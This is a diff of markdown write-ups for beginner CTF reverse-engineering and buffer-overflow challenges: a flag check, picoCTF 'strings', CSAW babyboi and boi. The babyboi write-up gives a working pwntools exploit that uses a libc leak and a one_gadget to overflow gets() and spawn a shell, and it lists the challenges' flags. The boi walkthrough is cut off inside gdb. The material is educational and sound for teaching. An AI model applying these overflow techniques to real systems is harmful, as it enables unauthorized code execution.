Spitoon™, How tough are ya? + very though + Yeah right. Back to Weenie Hut Jr™ with ya + + +here the binary prints some text, then lets us input our text (here its 'very though') and then prints some text again. It is safe to assume that we will need to type the correct passphrase to get the correct output. So let's inspect the binary file from ghidra: + +![](1.png) ![](2.png) + +now from here we want to check out the main function of our binary file, so go into the symbol tree tab, into functions, into main, and we get the following code: + +![](3.png) + + + bool main(void) + + { + int iVar1; + void *pvVar2; + + pvVar2 = calloc(0x32,1); + puts(&DAT;_00102008); + __isoc99_scanf(&DAT;_0010203b,pvVar2); + iVar1 = validate(pvVar2); + if (iVar1 == 0) { + puts(&DAT;_00102050); + } + else { + puts("Right this way..."); + } + return iVar1 == 0; + } + + + +now here we see something, first of all it does a scanf (to prompt for our input) and then moves our text into pvVar2, then, it calls a function called 'validate' and the result of that function gets put into iVar1 which determines if we get a correct answer or not. So let's inspect the 2 possibilities of the if statement: + + + if (iVar1 == 0) { + puts(&DAT;_00102050); + } + else { + puts("Right this way..."); + } + + +From ghidra we see that this '&DAT;_00102050' is the string of characters we saw earlier: + +![](5.png) + +therefore, we do not want iVar1 to be equal to 0, we want iVar1 to be equal to 1 + +So the hint here is, what is being validated ? How is our input being validated ? we inspect the validate function which HAS TO return 1, if we want our iVar1 to be equal to 1: + +![](4.png) + +Which gives us the following code: + + + undefined8 validate(char *param_1) + + { + size_t sVar1; + undefined8 uVar2; + long in_FS_OFFSET; + int local_50; + int local_48 [4]; + undefined4 local_38; + undefined4 local_34; + undefined4 local_30; + undefined4 local_2c; + undefined4 local_28; + undefined4 local_24; + undefined4 local_20; + undefined4 local_1c; + undefined4 local_18; + undefined4 local_14; + long local_10; + + local_10 = *(long *)(in_FS_OFFSET + 0x28); + local_48[0] = 0x66; + local_48[1] = 0x6c; + local_48[2] = 0x61; + local_48[3] = 0x67; + local_38 = 0x7b; + local_34 = 0x48; + local_30 = 0x75; + local_2c = 0x43; + local_28 = 0x66; + local_24 = 0x5f; + local_20 = 0x6c; + local_1c = 0x41; + local_18 = 0x62; + local_14 = 0x7d; + sVar1 = strlen(param_1); + local_50 = 0; + do { + if ((int)sVar1 <= local_50) { + uVar2 = 1; + LAB_001012b7: + if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); + } + return uVar2; + } + if ((int)param_1[local_50] != local_48[local_50]) { + uVar2 = 0; + goto LAB_001012b7; + } + local_50 = local_50 + 1; + } while( true ); + } + + +So first of all our input text gets passed into the validate function via the param_1 parameter. It enters a do{} while(); loop, with each iteration of that while loop, there is a value that gets incremented, the only return statements of that function are either return uVar2 or either not making the function return anything at all, instead going to the __stack_chk_fail() function. therefore the important value here is uVar2 + + + int local_48 [4]; + + [...] + + local_48[0] = 0x66; + local_48[1] = 0x6c; + local_48[2] = 0x61; + local_48[3] = 0x67; + + [...] + + if ((int)param_1[local_50] != local_48[local_50]) { + uVar2 = 0; + goto LAB_001012b7; + } + local_50 = local_50 + 1; + + +Here we see that our each character of our input (param1) gets checked against the corresponding character of the local_48 string. Therefore we need to make sure our input matches the values inside of local_48's 0,1,2,3 characters. so we know we have to look at the following addresses: + + + 0x66 + 0x6c + 0x61 + 0x67 + + + +From Ghidra, we see the following assembly code: + + + 00101205 c7 45 c0 MOV dword ptr [RBP + local_48],0x66 + 66 00 00 00 + 0010120c c7 45 c4 MOV dword ptr [RBP + local_44],0x6c + 6c 00 00 00 + 00101213 c7 45 c8 MOV dword ptr [RBP + local_40],0x61 + 61 00 00 00 + 0010121a c7 45 cc MOV dword ptr [RBP + local_3c],0x67 + 67 00 00 00 + + + + + 00101221 c7 45 d0 MOV dword ptr [RBP + local_38],0x7b + 7b 00 00 00 + 00101228 c7 45 d4 MOV dword ptr [RBP + local_34],0x48 + 48 00 00 00 + 0010122f c7 45 d8 MOV dword ptr [RBP + local_30],0x75 + 75 00 00 00 + 00101236 c7 45 dc MOV dword ptr [RBP + local_2c],0x43 + 43 00 00 00 + 0010123d c7 45 e0 MOV dword ptr [RBP + local_28],0x66 + 66 00 00 00 + 00101244 c7 45 e4 MOV dword ptr [RBP + local_24],0x5f + 5f 00 00 00 + 0010124b c7 45 e8 MOV dword ptr [RBP + local_20],0x6c + 6c 00 00 00 + 00101252 c7 45 ec MOV dword ptr [RBP + local_1c],0x41 + 41 00 00 00 + 00101259 c7 45 f0 MOV dword ptr [RBP + local_18],0x62 + 62 00 00 00 + 00101260 c7 45 f4 MOV dword ptr [RBP + local_14],0x7d + 7d 00 00 00 + + +Now from here we can get the list of specific bytes our input needs to be: + + + 0x66 + 0x6c + 0x61 + 0x67 + + 0x7b + 0x48 + 0x75 + 0x43 + 0x66 + 0x5f + 0x6c + 0x41 + 0x62 + 0x7d + + +Now let's move over to python: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → ls -lash + total 788K + 4.0K drwxr-xr-x 2 nothing nothing 4.0K Feb 22 17:19 . + 4.0K drwxr-xr-x 4 nothing nothing 4.0K Feb 22 17:23 .. + 20K -rwxr-xr-x 1 nothing nothing 17K Feb 22 17:19 rev + 760K -rwxr-xr-x 1 nothing nothing 759K Feb 22 17:12 strings + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → file rev + rev: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e4dbcb1281821db359d566c68fea7380aeb27378, for GNU/Linux 3.2.0, not stripped + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → python3 + Python 3.9.1+ (default, Feb 5 2021, 13:46:56) + [GCC 10.2.1 20210110] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> x = [0x66, 0x6c, 0x61, 0x67, 0x7b, 0x48, 0x75, 0x43, 0x66, 0x5f, 0x6c, 0x41, 0x62, 0x7d] + >>> input = "" + >>> for i in x: + ... input += chr(i) + ... + >>> input + 'flag{HuCf_lAb}' + + +And here we see that the first 4 addresses were 'flag' the next 10 were '{HuCf_lAb}', this obviously was fairly easy + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/1/strings.md b/1/strings.md new file mode 100644 index 0000000..b571547 --- /dev/null +++ b/1/strings.md @@ -0,0 +1,75 @@ +# Binary Exploitation + +## Downloading the binary file + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/pico18_strings/strings + --2021-02-22 17:12:22-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/pico18_strings/strings + Resolving github.com (github.com)... 140.82.121.3 + Connecting to github.com (github.com)|140.82.121.3|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/pico18_strings/strings [following] + --2021-02-22 17:12:22-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/pico18_strings/strings + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 776368 (758K) [application/octet-stream] + Saving to: ‘strings’ + + strings 100%[=======================================================================================================================================================================================================>] 758.17K --.-KB/s in 0.1s + + 2021-02-22 17:12:23 (5.86 MB/s) - ‘strings’ saved [776368/776368] + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → file strings + strings: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e337b489c47492dd5dff90353eb227b4e7e69028, not stripped + + +` ![]() + +## Solution + +The solution is fairly simple, first make the binary file executable, then run it: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → chmod +x strings + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [~/binexp/1] + → ./strings + Have you ever used the 'strings' function? Check out the man pages! + + +Here we are hinted at using the strings function, so we will do so and use grep to try and see if the flag appears, generally the flag contains {flaghash} so we can use grep to find it : + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → strings strings | grep { + picoCTF{sTrIngS_sAVeS_Time_3f712a28} + + + +And we're done! + +![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/0.md b/2/0.md new file mode 100644 index 0000000..bd2c701 --- /dev/null +++ b/2/0.md @@ -0,0 +1,84 @@ +# Binary Exploitation + +## Downloading the binary file + + + + +` ![]() + +## Solution + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/1.png b/2/1.png new file mode 100644 index 0000000..7362644 Binary files /dev/null and b/2/1.png differ diff --git a/2/10.png b/2/10.png new file mode 100644 index 0000000..11ce2fc Binary files /dev/null and b/2/10.png differ diff --git a/2/11.png b/2/11.png new file mode 100644 index 0000000..ce165d2 Binary files /dev/null and b/2/11.png differ diff --git a/2/12.png b/2/12.png new file mode 100644 index 0000000..31cd0f8 Binary files /dev/null and b/2/12.png differ diff --git a/2/13.png b/2/13.png new file mode 100644 index 0000000..ea855d6 Binary files /dev/null and b/2/13.png differ diff --git a/2/14.png b/2/14.png new file mode 100644 index 0000000..2273671 Binary files /dev/null and b/2/14.png differ diff --git a/2/15.png b/2/15.png new file mode 100644 index 0000000..52c1eed Binary files /dev/null and b/2/15.png differ diff --git a/2/16.png b/2/16.png new file mode 100644 index 0000000..2a4586b Binary files /dev/null and b/2/16.png differ diff --git a/2/17.png b/2/17.png new file mode 100644 index 0000000..1eb1558 Binary files /dev/null and b/2/17.png differ diff --git a/2/18.png b/2/18.png new file mode 100644 index 0000000..9964e91 Binary files /dev/null and b/2/18.png differ diff --git a/2/19.png b/2/19.png new file mode 100644 index 0000000..2edd6ef Binary files /dev/null and b/2/19.png differ diff --git a/2/2.png b/2/2.png new file mode 100644 index 0000000..c36da1f Binary files /dev/null and b/2/2.png differ diff --git a/2/20.png b/2/20.png new file mode 100644 index 0000000..0dd2cd3 Binary files /dev/null and b/2/20.png differ diff --git a/2/21.png b/2/21.png new file mode 100644 index 0000000..e03ebb8 Binary files /dev/null and b/2/21.png differ diff --git a/2/22.png b/2/22.png new file mode 100644 index 0000000..a2dda63 Binary files /dev/null and b/2/22.png differ diff --git a/2/23.png b/2/23.png new file mode 100644 index 0000000..c377482 Binary files /dev/null and b/2/23.png differ diff --git a/2/24.png b/2/24.png new file mode 100644 index 0000000..05a8913 Binary files /dev/null and b/2/24.png differ diff --git a/2/25.png b/2/25.png new file mode 100644 index 0000000..15b3bf2 Binary files /dev/null and b/2/25.png differ diff --git a/2/26.png b/2/26.png new file mode 100644 index 0000000..8f56007 Binary files /dev/null and b/2/26.png differ diff --git a/2/27.png b/2/27.png new file mode 100644 index 0000000..bc1096f Binary files /dev/null and b/2/27.png differ diff --git a/2/28.png b/2/28.png new file mode 100644 index 0000000..4811056 Binary files /dev/null and b/2/28.png differ diff --git a/2/29.png b/2/29.png new file mode 100644 index 0000000..8d66b12 Binary files /dev/null and b/2/29.png differ diff --git a/2/3.png b/2/3.png new file mode 100644 index 0000000..2a79c4f Binary files /dev/null and b/2/3.png differ diff --git a/2/30.png b/2/30.png new file mode 100644 index 0000000..2be4193 Binary files /dev/null and b/2/30.png differ diff --git a/2/31.png b/2/31.png new file mode 100644 index 0000000..66d54da Binary files /dev/null and b/2/31.png differ diff --git a/2/32.png b/2/32.png new file mode 100644 index 0000000..41c0e1a Binary files /dev/null and b/2/32.png differ diff --git a/2/33.png b/2/33.png new file mode 100644 index 0000000..e2d4711 Binary files /dev/null and b/2/33.png differ diff --git a/2/34.png b/2/34.png new file mode 100644 index 0000000..74a7a57 Binary files /dev/null and b/2/34.png differ diff --git a/2/35.png b/2/35.png new file mode 100644 index 0000000..a2dea85 Binary files /dev/null and b/2/35.png differ diff --git a/2/4.png b/2/4.png new file mode 100644 index 0000000..4343514 Binary files /dev/null and b/2/4.png differ diff --git a/2/40.png b/2/40.png new file mode 100644 index 0000000..e5300c5 Binary files /dev/null and b/2/40.png differ diff --git a/2/41.png b/2/41.png new file mode 100644 index 0000000..b324ae8 Binary files /dev/null and b/2/41.png differ diff --git a/2/42.png b/2/42.png new file mode 100644 index 0000000..9544992 Binary files /dev/null and b/2/42.png differ diff --git a/2/43.png b/2/43.png new file mode 100644 index 0000000..1201e1b Binary files /dev/null and b/2/43.png differ diff --git a/2/44.png b/2/44.png new file mode 100644 index 0000000..2f064e3 Binary files /dev/null and b/2/44.png differ diff --git a/2/45.png b/2/45.png new file mode 100644 index 0000000..ada78c4 Binary files /dev/null and b/2/45.png differ diff --git a/2/46.png b/2/46.png new file mode 100644 index 0000000..51bfe39 Binary files /dev/null and b/2/46.png differ diff --git a/2/47.png b/2/47.png new file mode 100644 index 0000000..fec2b63 Binary files /dev/null and b/2/47.png differ diff --git a/2/48.png b/2/48.png new file mode 100644 index 0000000..6e1d9e8 Binary files /dev/null and b/2/48.png differ diff --git a/2/49.png b/2/49.png new file mode 100644 index 0000000..5f4a18f Binary files /dev/null and b/2/49.png differ diff --git a/2/5.png b/2/5.png new file mode 100644 index 0000000..2e5c801 Binary files /dev/null and b/2/5.png differ diff --git a/2/50.png b/2/50.png new file mode 100644 index 0000000..46524e7 Binary files /dev/null and b/2/50.png differ diff --git a/2/51.png b/2/51.png new file mode 100644 index 0000000..71eb30b Binary files /dev/null and b/2/51.png differ diff --git a/2/6.png b/2/6.png new file mode 100644 index 0000000..67bdb42 Binary files /dev/null and b/2/6.png differ diff --git a/2/7.png b/2/7.png new file mode 100644 index 0000000..723bda5 Binary files /dev/null and b/2/7.png differ diff --git a/2/8.png b/2/8.png new file mode 100644 index 0000000..77f3ee1 Binary files /dev/null and b/2/8.png differ diff --git a/2/9.png b/2/9.png new file mode 100644 index 0000000..3224b3f Binary files /dev/null and b/2/9.png differ diff --git a/2/bboi.md b/2/bboi.md new file mode 100644 index 0000000..53da386 --- /dev/null +++ b/2/bboi.md @@ -0,0 +1,308 @@ +# Csaw 2019 babyboi + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/baby_boi + + baby_boi 100%[==========================================================>] 8.41K --.-KB/s in 0.001s + + 2021-03-06 15:19:56 (16.1 MB/s) - ‘baby_boi’ saved [8608/8608] + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/baby_boi.c + + baby_boi.c 100%[==========================================================>] 274 --.-KB/s in 0s + + 2021-03-06 15:20:10 (27.1 MB/s) - ‘baby_boi.c’ saved [274/274] + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/libc-2.27.so + + libc-2.27.so 100%[==========================================================>] 1.94M 2.79MB/s in 0.7s + + 2021-03-06 15:20:19 (2.79 MB/s) - ‘libc-2.27.so’ saved [2030544/2030544] + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → file baby_boi + baby_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1ff55dce2efc89340b86a666bba5e7ff2b37f62, not stripped + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → chmod +x baby_boi + + + +` ![]() + +## Solution + +first let's run the binary to see what it does: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → ./baby_boi + Hello! + Here I am: 0x7f158ee88590 + ok + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → ./baby_boi + Hello! + Here I am: 0x7f7090800590 + hello + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → ./baby_boi + Hello! + Here I am: 0x7f4a5ed57590 + bye + + + +The binary basically outputs some text, then it lekas some memorya ddress, and then lets us put in some text. Let's run pwn checksec on it and check what are the other files about: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → pwn checksec baby_boi + [*] '/home/nothing/binexp/2/bboi/baby_boi' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x400000) + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → cat baby_boi.c + #include + #include + + int main(int argc, char **argv[]) { + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + char buf[32]; + printf("Hello!\n"); + printf("Here I am: %p\n", printf); + gets(buf); + } + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → ./libc-2.27.so + zsh: permission denied: ./libc-2.27.so + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → chmod +x libc-2.27.so + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → ./libc-2.27.so + Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed! + + + + +Now here we see that the binary just prompts us for text, and looking at the sourcecode, we see that it prints the libc address for printf. After that, it makes a **gets** call on a fixed size buffer of 32 bytes (0x20 bytes) so this means that we have a buffer overflow. We also see that the libc version is **2.27** The only binary protection that we have is NX. + +To exploit this, we will use the buffer overflow vulnerability we just mentionned, and then we will call a oneshot gadget, which is a single ROP gadget in the libc library that will call **execve("/bin/sh")** given the right conditions, we find this using the [one_gadget](https://github.com/david942j/one_gadget) utility: + + + [ 192.168.0.18/24 ] [ /dev/pts/9 ] [~] + → sudo pacman -S rubygems + [sudo] password for nothing: + warning: rubygems-3.2.13-1 is up to date -- reinstalling + resolving dependencies... + looking for conflicting packages... + + Package (1) Old Version New Version Net Change + + extra/rubygems 3.2.13-1 3.2.13-1 0.00 MiB + + Total Installed Size: 0.92 MiB + Net Upgrade Size: 0.00 MiB + + :: Proceed with installation? [Y/n] y + (1/1) checking keys in keyring [----------------------------------------------] 100% + (1/1) checking package integrity [----------------------------------------------] 100% + (1/1) loading package files [----------------------------------------------] 100% + (1/1) checking for file conflicts [----------------------------------------------] 100% + (1/1) checking available disk space [----------------------------------------------] 100% + :: Processing package changes... + (1/1) reinstalling rubygems [----------------------------------------------] 100% + :: Running post-transaction hooks... + (1/1) Arming ConditionNeedsUpdate... + + [ 192.168.0.18/24 ] [ /dev/pts/9 ] [~] + → gem install one_gadget + Fetching one_gadget-1.7.4.gem + Fetching bindata-2.4.8.gem + Fetching elftools-1.1.3.gem + WARNING: You don't have /home/nothing/.local/share/gem/ruby/2.7.0/bin in your PATH, + gem executables will not run. + Successfully installed bindata-2.4.8 + Successfully installed elftools-1.1.3 + Successfully installed one_gadget-1.7.4 + 3 gems installed + + + +Here for some reason the binary to run one_gadget isn't in my $PATH so i have to make a symlink to it: + + + [ 192.168.0.18/24 ] [ /dev/pts/19 ] [~] + → sudo updatedb;locate one_gadget | grep 'gadget$' + /home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget + /home/nothing/.local/share/gem/ruby/2.7.0/gems/one_gadget-1.7.4/bin/one_gadget + /home/nothing/.local/share/gem/ruby/2.7.0/gems/one_gadget-1.7.4/lib/one_gadget + + [ 192.168.0.18/24 ] [ /dev/pts/19 ] [~] + → /home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget + Usage: one_gadget [options] + -b, --build-id BuildID BuildID[sha1] of libc. + -f, --[no-]force-file Force search gadgets in file instead of build id first. + -l, --level OUTPUT_LEVEL The output level. + OneGadget automatically selects gadgets with higher successful probability. + Increase this level to ask OneGadget show more gadgets it found. + Default: 0 + -n, --near FUNCTIONS/FILE Order gadgets by their distance to the given functions or to the GOT functions of the given file. + -r, --[no-]raw Output gadgets offset only, split with one space. + -s, --script exploit-script Run exploit script with all possible gadgets. + The script will be run as 'exploit-script $offset'. + --info BuildID Show version information given BuildID. + --base BASE_ADDRESS The base address of libc. + Default: 0 + --version Current gem version. + + [ 192.168.0.18/24 ] [ /dev/pts/21 ] [~] + → echo $PATH + /usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl:/var/lib/snapd/snap/bin + + [ 192.168.0.18/24 ] [ /dev/pts/19 ] [~] + → sudo ln -s /home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget /usr/local/bin/one_gadget + + [ 192.168.0.18/24 ] [ /dev/pts/19 ] [~] + → zsh + + [ 192.168.0.18/24 ] [ /dev/pts/19 ] [~] + → one_gadget + Usage: one_gadget [options] + -b, --build-id BuildID BuildID[sha1] of libc. + -f, --[no-]force-file Force search gadgets in file instead of build id first. + -l, --level OUTPUT_LEVEL The output level. + OneGadget automatically selects gadgets with higher successful probability. + Increase this level to ask OneGadget show more gadgets it found. + Default: 0 + -n, --near FUNCTIONS/FILE Order gadgets by their distance to the given functions or to the GOT functions of the given file. + -r, --[no-]raw Output gadgets offset only, split with one space. + -s, --script exploit-script Run exploit script with all possible gadgets. + The script will be run as 'exploit-script $offset'. + --info BuildID Show version information given BuildID. + --base BASE_ADDRESS The base address of libc. + Default: 0 + --version Current gem version. + + + + +Now that's done, let's run one_gadget on the libc library: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → one_gadget libc-2.27.so + 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) + constraints: + rsp & 0xf == 0 + rcx == NULL + + 0x4f322 execve("/bin/sh", rsp+0x40, environ) + constraints: + [rsp+0x40] == NULL + + 0x10a38c execve("/bin/sh", rsp+0x70, environ) + constraints: + [rsp+0x70] == NULL + + + +So here we see that we can leverage the libc infoleak with the printf statement to the libc printf which we know the libc version, we know the address space of the libc. For which onegadget to pick, it's usually trial and error to see what conditions will work. So let's make our exploit as follows: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi] + → vim exploit.py + + + + + from pwn import * + + # Establish the target + target = process('./baby_boi', env={"LD_PRELOAD":"./libc-2.27.so"}) + libc = ELF('libc-2.27.so') + + print(target.recvuntil("ere I am: ")) + + # Scan in the infoleak + leak = target.recvline() + leak = leak.strip(b"\n") + + base = int(leak, 16) - libc.symbols['printf'] + + print("wooo:" + hex(base)) + + # Calculate oneshot gadget + oneshot = base + 0x4f322 + + payload = b"" + payload += b"\x00"*0x28 # Offset to oneshot gadget + payload += p64(oneshot) # Oneshot gadget + + # Send the payload + target.sendline(payload) + + target.interactive() + + + +Now execute it and we see the following: + + + [ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/bboi] + → python3 exploit.py + [+] Starting local process './baby_boi': pid 540529 + [*] '/home/nothing/binexp/2/bboi/libc-2.27.so' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: Canary found + NX: NX enabled + PIE: PIE enabled + Hello! + Here I am: + wooo:0x7fedeb22e012 + [*] Switching to interactive mode + $ cat flag.txt + flag{baby_boi_dodooo_doo_doo_dooo} + + +And that's it! we have been able to spawn a shell and print out the flag. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/boi.md b/2/boi.md new file mode 100644 index 0000000..68c6451 --- /dev/null +++ b/2/boi.md @@ -0,0 +1,727 @@ +# CSAW 2018 Quals Boi + +## Downloading the binary file + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/csaw18_boi/boi + --2021-02-22 21:57:40-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/csaw18_boi/boi + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/csaw18_boi/boi [following] + --2021-02-22 21:57:41-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/csaw18_boi/boi + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.111.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 8792 (8.6K) [application/octet-stream] + Saving to: ‘boi’ + + boi 100%[===============================================================================>] 8.59K --.-KB/s in 0s + + 2021-02-22 21:57:41 (31.4 MB/s) - ‘boi’ saved [8792/8792] + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → file boi + boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → chmod +x boi + + + +` ![]() + +## Solution + +first things first, let's execute the binary to see what it does: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → ./boi + Are you a big boiiiii?? + yes + Tue 23 Feb 2021 08:53:13 AM CET + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → ./boi + Are you a big boiiiii?? + no + Tue 23 Feb 2021 08:53:17 AM CET + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → date + Tue 23 Feb 2021 08:53:22 AM CET + + +it seems the binary checks for our input, and then executes a command, in this case it's 'date' let's use pwn to check the security of that binary: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → pwn checksec boi + [*] '/home/nothing/binexp/2/boi' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: Canary found + NX: NX enabled + PIE: No PIE (0x400000) + + +here we see that this is a 64bit binary with a Stack Canary, and a non-executable stack (which are 2 binary mitigations). Let's take a look at it with ghidra: + +![](1.png) + +which gives us the following code for the main function: + + + undefined8 main(void) + + { + long in_FS_OFFSET; + undefined8 local_38; + undefined8 local_30; + undefined4 local_28; + int iStack36; + undefined4 local_20; + long local_10; + + local_10 = *(long *)(in_FS_OFFSET + 0x28); + local_38 = 0; + local_30 = 0; + local_20 = 0; + local_28 = 0; + iStack36 = -0x21524111; + puts("Are you a big boiiiii??"); + read(0,&local;_38,0x18); + if (iStack36 == -0x350c4512) { + run_cmd("/bin/bash"); + } + else { + run_cmd("/bin/date"); + } + if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); + } + return 0; + } + + + +Now in this main function, we see that our text input gets put into the local_38 variable, however there is something else here, there is an if statement, that wants the iStack36 value to be equal to a certain hexadecimal value. if it is not equal to that hex value, it will print out the date like we saw earlier, if it is actually the correct hex value, it will run /bin/bash. The important thing to note here is that the binary scans for 18 bytes of our data, or 18 ascii characters. + +Now if we look at what our iStack value is declared as we get the following: + + + iStack36 = -0x21524111; + + + + 0040067e c7 45 e4 MOV dword ptr [RBP + local_28+0x4],0xdeadbeef + ef be ad de + + + +and then later on when iStack36 gets compared the second value: + + + if (iStack36 == -0x350c4512) { + run_cmd("/bin/bash"); + } + + + 004006a8 3d ee ba CMP EAX,0xcaf3baee + f3 ca + 004006ad 75 0c JNZ LAB_004006bb + 004006af bf 7c 07 MOV EDI=>s_/bin/bash_0040077c,s_/bin/bash_0040077c = "/bin/bash" + 40 00 + 004006b4 e8 6d ff CALL run_cmd undefined run_cmd() + ff ff + + + +so, iStack36 first gets assignd the 0xdeadbeef value, and then it gets compared to 0xcaf3baee. Now the next step is to look at the stack layout in ghidra, you can click on any variable where they are declared: + +![](2.png) + + + ************************************************************** + * FUNCTION * + ************************************************************** + undefined main() + undefined AL:1 + undefined8 Stack[-0x10]:8 local_10 XREF[2]: 00400659(W), + 004006ca(R) + undefined4 Stack[-0x20]:4 local_20 XREF[1]: 00400677(W) + undefined8 Stack[-0x28]:8 local_28 XREF[1,2]: 0040066f(W), + 0040067e(W), + 004006a5(R) + undefined8 Stack[-0x30]:8 local_30 XREF[1]: 00400667(W) + undefined8 Stack[-0x38]:8 local_38 XREF[2]: 0040065f(W), + 0040068f(*) + undefined4 Stack[-0x3c]:4 local_3c XREF[1]: 00400649(W) + undefined8 Stack[-0x48]:8 local_48 XREF[1]: 0040064c(W) + main XREF[5]: Entry Point(*), + _start:0040054d(*), + _start:0040054d(*), 004007b4, + 00400868(*) + 00400641 55 PUSH RBP + + + +Now according to ghidra, our input (local_38) is stored at offset -0x38 and we see that is stored at offset -0x28 this means that theres is a 0x10 byte difference between the 2 values. + +Since we can write 0x18 bytes or characters, that measn we can fill up the 0x10 byte difference and overwrite other values, most importantly the value being checked (iStack36). So let's take a look at it from gdb-gef : + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2] + → gdb ./boi + GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git + Copyright (C) 2021 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 